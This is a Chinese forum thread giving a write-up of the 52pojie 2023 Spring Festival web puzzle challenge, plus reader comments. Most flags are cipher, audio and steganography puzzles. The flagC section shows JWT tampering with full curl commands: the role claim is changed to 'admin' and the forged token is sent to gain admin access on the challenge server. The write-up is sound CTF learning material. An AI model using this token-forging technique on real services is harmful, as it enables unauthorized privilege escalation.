吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4967|回复: 19
收起左侧

[CTF] 【2023】吾爱春节红包web题writeup

  [复制链接]
1254qwer 发表于 2023-2-6 14:47

吾爱春节web题writeup

这次吾爱的web题很接近ctf,大部分题难度不大,萌新友好

原视频:吾爱破解【2023春节】解题领红包之Web题_哔哩哔哩_bilibili

flag1

明牌

flag1.png

flag1{52pojiehappynewyear}

flag2

直接扫这个二维码

flag2.png

得到链接:https://2023challenge.52pojie.cn/?flag=flag2{878a48f2}

可以看到flag2就在参数里

flag2{878a48f2}

flag3

视频00:26右下角

flag3.png

吾爱破解logo变成了以下字符串:
iodj3{06i95dig}
字符串形似flag,考虑iodj各前移3个字母正好是flag,可推断其为凯撒密码加密,偏移量3,数字和符号不位移
由此,可得flag3
flag3{06f95afd}

flag4

留意到视频制作者b站的个性签名

flag4.png

base64解码,得到flag4

flag4{9cb91117}

flag5

视频00:30-00:38有发电报声,考虑摩尔斯电码

听译内容:FLAG5EAIT

补上{}即可得出flag5

flag5{eait}

flag6

在视频开头几秒,很容易能听出是拨号音

根据知乎大佬 https://www.zhihu.com/question/19780683/answer/12940239 的讲解,按键音对应频率如下表(横行频纵列频,单位Hz)

1209 1336 1477 1633
697 1 2 3 A
770 4 5 6 B
852 7 8 9 C
941 * 0 # D

导入au,查看频率,可得flag6

flag6.png

flag6{590124}

flag7

视频00:22-00:27的上方跑过一串二进制数字,共计120位,考虑是ascii的二进制表示

打开网站:ASCII码一览表,ASCII码对照表

按照8位一组给那串二进制数字分段,如下:

01100110 f
01101100 l
01100001 a
01100111 g
00110111 7
01111011 {
00110101 5
01100100 d
00110000 0
00110110 6
01100010 b
01100101 e
00110110 6
00110011 3
01111101 }

由此得出flag7

flag7{5d06be63}

flag8

藏在音频中

打开au,导入音频,显示频谱,可得flag

flag8.png

flag8{c394d7}

flag9

视频最后几秒有杂音,怀疑是音频倒放

au导入,效果-反向

可以听到flag9

flag9{21c5f8}

flag10

这个真不知道,没对上脑电波,期待大佬讲解。

flag11

留意到视频00:31下方有这样的字符串:

flag11.png

++++++++++[>++++++++++>++++++++++>+++++>++++++++++++<<<<-]>++.++++++.>---.<-----.>>-..>+++.<+++++.---.+.---.+++++++.<+++.+.>-.>++.

查了下资料,这种加密方式叫做brain fuck

百度找到解码网站:Brainfuck/Ook! Obfuscation/Encoding

粘贴,解码,得到flag11

flag11{63418de7}

flag12

视频背景联想到是盲水印,但尝试调图层色调什么的没找到,后来看其他人的解析知道是傅里叶变换。

flagA

视频中提到了一个网址

https://2023challenge.52pojie.cn

但无法通过浏览器访问

尝试nslookup,发现没有A和AAAA记录

C:\Users\zxq\Downloads>nslookup 2023challenge.52pojie.cn
服务器:  UnKnown
Address:  fe80::a639:b3ff:fe73:fec3

*** 没有 2023challenge.52pojie.cn 可以使用的 internal type for both IPv4 and IPv6 Addresses (A+AAAA)记录

根据视频提示,该站点和吾爱主站是同一台服务器,因此可以直接nslookup主站,然后改hosts即可访问。

但这题的题眼在请求头和响应头里,用浏览器不是太方便,因此以下用的是curl

如何在不修改host的情况下使用curl请求没有dns记录的网站(即自定义名称解析):

给curl加参数--resolve=url:port:ip,如本题加的参数为--resolve 2023challenge.52pojie.cn:443:124.232.185.97

来源:https://zhuanlan.zhihu.com/p/424679851

下面开始正题:
首先尝试获取网页

curl -v https://2023challenge.52pojie.cn --resolve 2023challenge.52pojie.cn:443:124.232.185.97

可以留意到响应头内有这么一句:

< X-Dynamic-Flag: flagA{Header X-52PoJie-Uid Not Found}

这里在暗示我们,该请求需要加请求头X-52PoJie-Uid
让我们加上(这里以我的uid722361为例),再试一次

curl -H "X-52PoJie-Uid: 722361" -v  https://2023challenge.52pojie.cn --resolve 2023challenge.52pojie.cn:443:124.232.185.97

可以看到响应头变成了这个(该条为2023-1-30 0:00获取 注意有效期):

< X-Dynamic-Flag: flagA{a1d29312} ExpiredAt: 2023-01-30T00:10:00+08:00

由此,可得flagA

flagB

视频中提到的网址https://2023challenge.52pojie.cn无法通过浏览器访问

尝试nslookup,发现没有A和AAAA记录

C:\Users\zxq\Downloads>nslookup 2023challenge.52pojie.cn
服务器:  UnKnown
Address:  fe80::a639:b3ff:fe73:fec3

*** 没有 2023challenge.52pojie.cn 可以使用的 internal type for both IPv4 and IPv6 Addresses (A+AAAA)记录

想到了hackergame2019的一道题

尝试查询txt记录,有了答案

C:\Users\zxq\Downloads>nslookup -qt=txt 2023challenge.52pojie.cn
服务器:  UnKnown
Address:  fe80::a639:b3ff:fe73:fec3

非权威应答:
2023challenge.52pojie.cn        text =

        ""_52pojie_2023_happy_new_year=flagB{substr(md5(uid+\"_happy_new_year_\"+floor(timestamp/600)),0,8)}""

提取关键信息:

flagB{substr(md5(uid+\"_happy_new_year_\"+floor(timestamp/600)),0,8)}

可以看到flagB由一串字符的md5的前八位组成,这串字符由三部分组成:论坛uid,字符串"_happy_newyear\",当前时间戳除以600向下取整的值(这一点证明该串仅在10分钟内有效)

以本人(uid:722361)写文章的时刻(2023-01-29 16:16:16)为例,这串字符为:722361_happy_new_year_2791633

这里给出生成flagB的Python代码:

import hashlib
import time

uid = input('input uid: ')
a = '_happy_new_year_'
b = str(int(time.time())//600)
c = uid + a + b
d = hashlib.md5(c.encode('utf-8')).hexdigest()[0:8]
print('flagB{' + d + '}')

flagC

这题与其用浏览器,还是curl解起来更方便/doge

话不多说,直接开干

curl -v https://2023challenge.52pojie.cn/login --resolve 2023challenge.52pojie.cn:443:124.232.185.97

可以看到返回的网页结构如下(为方便展示做格式化处理):

<form method="POST">
    吾爱破解 UID: 
    <input type="text" name="uid" disabled>
    <input type="submit">
</form>

那么就能知道,直接向这个地址POST我的UID就可以了

curl -v https://2023challenge.52pojie.cn/login -X POST -d 'uid=722361' --resolve 2023challenge.52pojie.cn:443:124.232.185.97

截取关键响应头信息如下:

< HTTP/1.1 302 Found
......
< Location: /home
< Set-Cookie: 2023_challenge_jwt_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiI3MjIzNjEiLCJyb2xlIjoidXNlciJ9.PrrMxyc9Ya2xXM5lclYK_bva9CQQWRIS65tm_y1Qt_k; max-age=600; domain=2023challenge.52pojie.cn; path=/; HttpOnly; SameSite=Strict

可以看到他Set了一个名为2023_challenge_jwt_token的cookie,然后一个302跳转到网站的home目录
接下来带着这个cookie访问home目录:

curl -v https://2023challenge.52pojie.cn/home -H "Cookie: 2023_challenge_jwt_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiI3MjIzNjEiLCJyb2xlIjoidXNlciJ9.PrrMxyc9Ya2xXM5lclYK_bva9CQQWRIS65tm_y1Qt_k" --resolve 2023challenge.52pojie.cn:443:124.232.185.97

网站响应:您不是 admin,你没有权限获取 flag
问题不大/doge
百度搜索了下jwt,发现一篇讲解文章:https://www.jianshu.com/p/fa957f32806a#1675008862151
其由三部分组成,每个部分都是base64编码的,且服务器不存储这个token,那么就存在改变token内容的可能性
找到可以解码jwt的网站:https://jwt.io,把得到的jwt粘进去

flagC.png

很明显,"role": "user"引起了我的兴趣
果断改成admin,编码回jwt,粘贴到curl里,重新请求

curl -v https://2023challenge.52pojie.cn/home -H "Cookie: 2023_challenge_jwt_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiI3MjIzNjEiLCJyb2xlIjoiYWRtaW4ifQ.kekv_gBSrBrkiBK7oKV0OGq0ytoHeicoSLUhkAvEaLw" --resolve 2023challenge.52pojie.cn:443:124.232.185.97

服务器响应:欢迎,admin。您的 flag 是 flagC{8aa7da1b},过期时间是 2023-01-30T00:50
很明显,拿下flagC(注意过期时间,三个动态flag均为整10分钟时刻过期)

免费评分

参与人数 12吾爱币 +13 热心值 +12 收起 理由
b12312312 + 1 + 1 热心回复!
Apple2021 + 1 + 1 用心讨论,共获提升!
侃遍天下无二人 + 1 + 1 我很赞同!
Liona + 1 + 1 谢谢@Thanks!
procurve + 1 + 1 谢谢@Thanks!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
三滑稽甲苯 + 2 + 1 用心讨论,共获提升!
zhoumeto + 1 + 1 用心讨论,共获提升!
luckystar312 + 1 + 1 热心回复!
万能的楼下小黑 + 1 + 1 我很赞同!
小小娃娃 + 1 + 1 用心讨论,共获提升!
梦魇_Hex + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Eureka8 发表于 2023-2-7 09:14
补充一波:
Flag10 和 Flag7出自同一个地方,就是上方那堆二进制数字(访问网站直接Ctrl+u有惊喜)

FlagB 可以直接百度 DNS解析记录 把域名放上去即可访问

网站访问可以直接通过改本地hosts文件,即可在浏览器内实现访问
fenginsc 发表于 2023-2-6 16:29
挺有意思的,感觉成了解谜游戏了,今年过年比较忙,我都没怎么看这些题,我还以为web题又要死磕js逆向了
gunxsword 发表于 2023-2-6 18:02
这flagC 我没去查这个JWT的东东,直接BASE64解密出来明文,然后加密,怎么提交都通不过....原来是要专用工具才行啊....
fyh505099 发表于 2023-2-6 19:34
感觉要变特工了
黑羽快斗 发表于 2023-2-6 20:07
学习来了
jjghaa1234 发表于 2023-2-6 21:44
偷偷学习,一鸣惊人
imGz 发表于 2023-2-6 22:09
哈哈哈 666
amwquhwqas128 发表于 2023-2-6 22:16
对音频之类的题目感到很难受,多谢大佬分享
skywalker0123 发表于 2023-2-7 06:38
我还以为flaga直接那样交就行,我去。这次密码学没考很难,希望明年出点rsa算法的题目。
Helsing9527 发表于 2023-2-7 07:22
偷偷变强大
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 14:06

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表